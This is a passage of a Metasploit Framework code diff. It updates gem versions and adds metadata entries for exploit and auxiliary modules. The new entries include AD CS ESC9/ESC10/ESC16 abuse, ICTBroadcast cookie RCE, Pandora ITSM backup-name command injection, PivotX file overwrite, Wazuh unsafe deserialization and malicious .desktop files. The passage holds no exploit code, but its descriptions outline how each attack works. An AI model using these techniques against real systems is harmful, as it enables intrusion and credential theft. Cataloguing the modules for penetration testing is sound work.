|
||||
rspec-mocks, 3.13.2, MIT
|
||||
rspec-rails, 7.1.1, MIT
|
||||
rspec-core, 3.13.5, MIT
|
||||
rspec-expectations, 3.13.5, MIT
|
||||
rspec-mocks, 3.13.5, MIT
|
||||
rspec-rails, 8.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.13.2, MIT
|
||||
rspec-support, 3.13.4, MIT
|
||||
rubocop, 1.75.7, MIT
|
||||
rubocop-ast, 1.44.1, MIT
|
||||
ruby-macho, 4.1.0, MIT
|
||||
ruby-mysql, 4.2.0, MIT
|
||||
ruby-prof, 1.7.1, "Simplified BSD"
|
||||
ruby-prof, 1.7.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
@@ -216,7 +216,7 @@ swagger-blocks, 3.0.0, MIT
|
||||
syslog, 0.3.0, "ruby, Simplified BSD"
|
||||
test-prof, 1.4.4, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.3.2, MIT
|
||||
thor, 1.4.0, MIT
|
||||
tilt, 2.6.0, MIT
|
||||
timecop, 0.9.10, MIT
|
||||
timeout, 0.4.3, "ruby, Simplified BSD"
|
||||
@@ -227,6 +227,7 @@ tzinfo-data, 1.2025.1, MIT
|
||||
unicode-display_width, 3.1.4, MIT
|
||||
unicode-emoji, 4.0.4, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
useragent, 0.16.11, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.9.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.7, "Apache 2.0"
|
||||
|
||||
@@ -41,7 +41,7 @@ module Metasploit
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
config.autoloader = :zeitwerk
|
||||
|
||||
config.load_defaults 7.1
|
||||
config.load_defaults 7.2
|
||||
|
||||
config.eager_load = false
|
||||
end
|
||||
|
||||
+884
-92
@@ -823,6 +823,69 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/dcerpc/esc_update_ldap_object": {
|
||||
"name": "Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16",
|
||||
"fullname": "auxiliary/admin/dcerpc/esc_update_ldap_object",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Will Schroeder",
|
||||
"Lee Christensen",
|
||||
"Oliver Lyak",
|
||||
"Spencer McIntyre",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically\n ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.\n The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the\n admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the\n admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via\n MS-ICPR. The resulting certificate can be used for various operations, such as authentication.\n\n The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are\n reverted after execution to maintain system integrity.",
|
||||
"references": [
|
||||
"URL-https://github.com/GhostPack/Certify",
|
||||
"URL-https://github.com/ly4k/Certipy",
|
||||
"URL-https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760",
|
||||
"URL-https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 445,
|
||||
"autofilter_ports": [
|
||||
139,
|
||||
445
|
||||
],
|
||||
"autofilter_services": [
|
||||
"netbios-ssn",
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-07-30 15:28:56 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/esc_update_ldap_object",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [],
|
||||
"Stability": [],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"ESC9",
|
||||
"ESC10",
|
||||
"ESC16"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "REQUEST_CERT",
|
||||
"description": "Request a certificate"
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/dcerpc/icpr_cert": {
|
||||
"name": "ICPR Certificate Management",
|
||||
"fullname": "auxiliary/admin/dcerpc/icpr_cert",
|
||||
@@ -6639,7 +6702,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-01-29 14:25:33 +0000",
|
||||
"mod_time": "2025-08-11 14:08:21 +0000",
|
||||
"path": "/modules/auxiliary/admin/kerberos/get_ticket.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/kerberos/get_ticket",
|
||||
@@ -6970,6 +7033,64 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/ldap/ldap_object_attribute": {
|
||||
"name": "LDAP Update Object",
|
||||
"fullname": "auxiliary/admin/ldap/ldap_object_attribute",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"jheysel"
|
||||
],
|
||||
"description": "This module allows creating, reading, updating and deleting attributes of LDAP objects.\n Users can specify the object and must specify a corresponding attribute.",
|
||||
"references": [],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 389,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-13 09:23:28 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/ldap_object_attribute.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/ldap_object_attribute",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"ldap"
|
||||
],
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "CREATE",
|
||||
"description": "Create an LDAP object"
|
||||
},
|
||||
{
|
||||
"name": "DELETE",
|
||||
"description": "Delete the LDAP object"
|
||||
},
|
||||
{
|
||||
"name": "READ",
|
||||
"description": "Read the the LDAP object"
|
||||
},
|
||||
{
|
||||
"name": "UPDATE",
|
||||
"description": "Modify the LDAP object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"auxiliary_admin/ldap/rbcd": {
|
||||
"name": "Role Base Constrained Delegation",
|
||||
"fullname": "auxiliary/admin/ldap/rbcd",
|
||||
@@ -7053,7 +7174,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-23 18:39:19 +0000",
|
||||
"mod_time": "2025-05-13 09:23:28 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/shadow_credentials",
|
||||
@@ -12325,7 +12446,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-07 21:38:27 +0000",
|
||||
"mod_time": "2025-08-02 14:18:28 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_aix.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_aix",
|
||||
@@ -12342,6 +12463,10 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "auto",
|
||||
"description": "Auto-selection of cracker"
|
||||
},
|
||||
{
|
||||
"name": "hashcat",
|
||||
"description": "Use Hashcat"
|
||||
@@ -12377,7 +12502,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-07 21:38:27 +0000",
|
||||
"mod_time": "2025-07-30 14:09:45 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_databases.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_databases",
|
||||
@@ -12394,6 +12519,10 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "auto",
|
||||
"description": "Auto-selection of cracker"
|
||||
},
|
||||
{
|
||||
"name": "hashcat",
|
||||
"description": "Use Hashcat"
|
||||
@@ -12426,7 +12555,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-07 21:38:27 +0000",
|
||||
"mod_time": "2025-07-30 14:10:03 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_linux.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_linux",
|
||||
@@ -12443,6 +12572,10 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "auto",
|
||||
"description": "Auto-selection of cracker"
|
||||
},
|
||||
{
|
||||
"name": "hashcat",
|
||||
"description": "Use Hashcat"
|
||||
@@ -12512,7 +12645,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-07 21:38:27 +0000",
|
||||
"mod_time": "2025-07-30 14:10:31 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_osx.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_osx",
|
||||
@@ -12529,6 +12662,10 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "auto",
|
||||
"description": "Auto-selection of cracker"
|
||||
},
|
||||
{
|
||||
"name": "hashcat",
|
||||
"description": "Use Hashcat"
|
||||
@@ -12557,7 +12694,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-07 21:38:27 +0000",
|
||||
"mod_time": "2025-07-30 14:10:49 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_webapps.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_webapps",
|
||||
@@ -12574,6 +12711,10 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "auto",
|
||||
"description": "Auto-selection of cracker"
|
||||
},
|
||||
{
|
||||
"name": "hashcat",
|
||||
"description": "Use Hashcat"
|
||||
@@ -12606,7 +12747,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-07 21:38:27 +0000",
|
||||
"mod_time": "2025-07-30 14:11:06 +0000",
|
||||
"path": "/modules/auxiliary/analyze/crack_windows.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "analyze/crack_windows",
|
||||
@@ -12623,6 +12764,10 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"actions": [
|
||||
{
|
||||
"name": "auto",
|
||||
"description": "Auto-selection of cracker"
|
||||
},
|
||||
{
|
||||
"name": "hashcat",
|
||||
"description": "Use Hashcat"
|
||||
@@ -13969,7 +14114,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-20 13:20:44 +0000",
|
||||
"mod_time": "2025-08-01 10:48:54 +0000",
|
||||
"path": "/modules/auxiliary/dos/http/apache_range_dos.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/http/apache_range_dos",
|
||||
@@ -24116,11 +24261,13 @@
|
||||
"Spencer McIntyre",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,\n ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable\n remotely from a normal user account by analyzing the objects in LDAP.",
|
||||
"description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,\n ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable\n remotely from a normal user account by analyzing the objects in LDAP.\n\n The module can also check for ESC9, ESC10 and ESC16 but this requires an Administrative WinRM session to be\n established to definitively check for these techniques.",
|
||||
"references": [
|
||||
"URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2",
|
||||
"URL-https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7",
|
||||
"URL-https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53",
|
||||
"URL-https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc"
|
||||
"URL-https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
|
||||
"URL-https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -24128,7 +24275,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-17 11:19:09 +0000",
|
||||
"mod_time": "2025-07-30 12:13:33 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
@@ -24169,7 +24316,7 @@
|
||||
"Tyler Booth",
|
||||
"Hynek Petrak"
|
||||
],
|
||||
"description": "This module will gather passwords and password hashes from a target LDAP server via multiple techniques\n including Windows LAPS.",
|
||||
"description": "This module will gather passwords and password hashes from a target LDAP server via multiple techniques\n including Windows LAPS. For best results, run with SSL because some attributes are only readable over\n encrypted connections.",
|
||||
"references": [
|
||||
"URL-https://blog.xpnsec.com/lapsv2-internals/",
|
||||
"URL-https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py"
|
||||
@@ -24180,7 +24327,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-07 15:21:08 +0000",
|
||||
"mod_time": "2025-07-18 17:10:35 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_passwords.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_passwords",
|
||||
@@ -46586,7 +46733,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-12-29 17:25:12 +0000",
|
||||
"mod_time": "2025-07-29 11:36:48 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/wp_ultimate_member_sorting_sqli",
|
||||
@@ -47575,7 +47722,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-08 18:21:39 +0000",
|
||||
"mod_time": "2025-08-11 16:37:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ldap/ldap_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ldap/ldap_login",
|
||||
@@ -52155,7 +52302,7 @@
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"mod_time": "2025-07-24 19:23:44 +0000",
|
||||
"path": "/modules/auxiliary/scanner/redis/redis_server.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/redis/redis_server",
|
||||
@@ -75239,6 +75386,63 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/ictbroadcast_unauth_cookie": {
|
||||
"name": "ICTBroadcast Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/ictbroadcast_unauth_cookie",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-03-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Valentin Lobstein"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated remote code execution (RCE) vulnerability\n in ICTBroadcast. The vulnerability exists in the way session cookies are handled\n and processed, allowing an attacker to inject arbitrary system commands.",
|
||||
"references": [
|
||||
"URL-https://www.ictbroadcast.com/",
|
||||
"CVE-2025-2611"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix/Linux Command Shell"
|
||||
],
|
||||
"mod_time": "2025-08-04 17:53:29 +0000",
|
||||
"path": "/modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/ictbroadcast_unauth_cookie",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/imperva_securesphere_exec": {
|
||||
"name": "Imperva SecureSphere PWS Command Injection",
|
||||
"fullname": "exploit/linux/http/imperva_securesphere_exec",
|
||||
@@ -80573,7 +80777,7 @@
|
||||
"fullname": "exploit/linux/http/pandora_fms_auth_netflow_rce",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-12-30",
|
||||
"disclosure_date": "2025-06-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"msutovsky-r7"
|
||||
@@ -80603,7 +80807,7 @@
|
||||
"targets": [
|
||||
"Linux/Unix Command"
|
||||
],
|
||||
"mod_time": "2025-07-04 08:54:30 +0000",
|
||||
"mod_time": "2025-07-31 12:58:28 +0000",
|
||||
"path": "/modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/pandora_fms_auth_netflow_rce",
|
||||
@@ -80921,6 +81125,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/pandora_itsm_auth_rce_cve_2025_4653": {
|
||||
"name": "Pandora ITSM authenticated command injection leading to RCE via the backup function",
|
||||
"fullname": "exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-06-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die-gr3y <h00die.gr3y@gmail.com>"
|
||||
],
|
||||
"description": "Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support\n and customer service teams, aligned with ITIL processes.\n This module exploits a command injection vulnerability in the `name` backup setting at the\n application setup page of Pandora ITSM. This can be triggered by generating a backup with a\n malicious payload injected at the `name` parameter.\n You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.\n This access can be achieved by knowing the admin credentials to access the web application or\n leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access\n the Pandora FMS ITSM database, create a new admin user and gain administrative access to the\n Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the\n MySQL services are exposed to the outside world.\n This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.",
|
||||
"references": [
|
||||
"CVE-2025-4653",
|
||||
"URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/",
|
||||
"URL-https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f",
|
||||
"URL-https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix/Linux Command"
|
||||
],
|
||||
"mod_time": "2025-08-06 08:22:06 +0000",
|
||||
"path": "/modules/exploits/linux/http/pandora_itsm_auth_rce_cve_2025_4653.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/pandora_itsm_auth_rce_cve_2025_4653",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/pandora_ping_cmd_exec": {
|
||||
"name": "Pandora FMS Ping Authenticated Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/pandora_ping_cmd_exec",
|
||||
@@ -81685,6 +81949,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/pivotx_index_php_overwrite": {
|
||||
"name": "PivotX Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/pivotx_index_php_overwrite",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-07-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"HayToN",
|
||||
"msutovsky-r7"
|
||||
],
|
||||
"description": "This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.",
|
||||
"references": [
|
||||
"EDB-52361",
|
||||
"URL-https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3",
|
||||
"CVE-2025-52367"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2025-08-12 10:42:46 +0000",
|
||||
"path": "/modules/exploits/linux/http/pivotx_index_php_overwrite.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/pivotx_index_php_overwrite",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/progress_flowmon_unauth_cmd_injection": {
|
||||
"name": "Flowmon Unauthenticated Command Injection",
|
||||
"fullname": "exploit/linux/http/progress_flowmon_unauth_cmd_injection",
|
||||
@@ -86638,6 +86962,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/wazuh_auth_rce_cve_2025_24016": {
|
||||
"name": "Wazuh server remote code execution caused by an unsafe deserialization vulnerability.",
|
||||
"fullname": "exploit/linux/http/wazuh_auth_rce_cve_2025_24016",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-02-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die-gr3y <h00die.gr3y@gmail.com>",
|
||||
"DanielFi https://github.com/DanielFi"
|
||||
],
|
||||
"description": "Wazuh is a free and open source platform used for threat prevention, detection, and response.\n Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability\n allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized\n as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).\n If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can\n forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.\n The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh\n servers in the cluster) or, in certain configurations, even by a compromised agent.",
|
||||
"references": [
|
||||
"CVE-2025-24016",
|
||||
"URL-https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh",
|
||||
"URL-https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 55000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix/Linux Command"
|
||||
],
|
||||
"mod_time": "2025-07-30 20:24:56 +0000",
|
||||
"path": "/modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/wazuh_auth_rce_cve_2025_24016",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/wd_mycloud_multiupload_upload": {
|
||||
"name": "Western Digital MyCloud multi_uploadify File Upload Vulnerability",
|
||||
"fullname": "exploit/linux/http/wd_mycloud_multiupload_upload",
|
||||
@@ -100700,6 +101084,52 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/fileformat/xdg_desktop": {
|
||||
"name": "Malicious XDG Desktop File",
|
||||
"fullname": "exploit/multi/fileformat/xdg_desktop",
|
||||
"aliases": [],
|
||||
"rank": 500,
|
||||
"disclosure_date": "2007-02-06",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module creates a malicious XDG Desktop (.desktop) file.\n\n On most modern systems, desktop files are not trusted by default.\n The user will receive a warning prompt that the file is not trusted\n when running the file, but may choose to run the file anyway.\n\n The default file manager applications in some desktop environments\n may impose more strict execution requirements by prompting the user\n to set the file as executable and/or marking the file as trusted\n before the file can be executed.",
|
||||
"references": [
|
||||
"ATT&CK-T1204.002",
|
||||
"URL-https://specifications.freedesktop.org/desktop-entry-spec/latest/",
|
||||
"URL-https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html",
|
||||
"URL-https://wiki.archlinux.org/title/Desktop_entries"
|
||||
],
|
||||
"platform": "FreeBSD,Linux,Solaris,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-08-04 19:23:02 +0000",
|
||||
"path": "/modules/exploits/multi/fileformat/xdg_desktop.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/fileformat/xdg_desktop",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/fileformat/zip_slip": {
|
||||
"name": "Generic Zip Slip Traversal Vulnerability",
|
||||
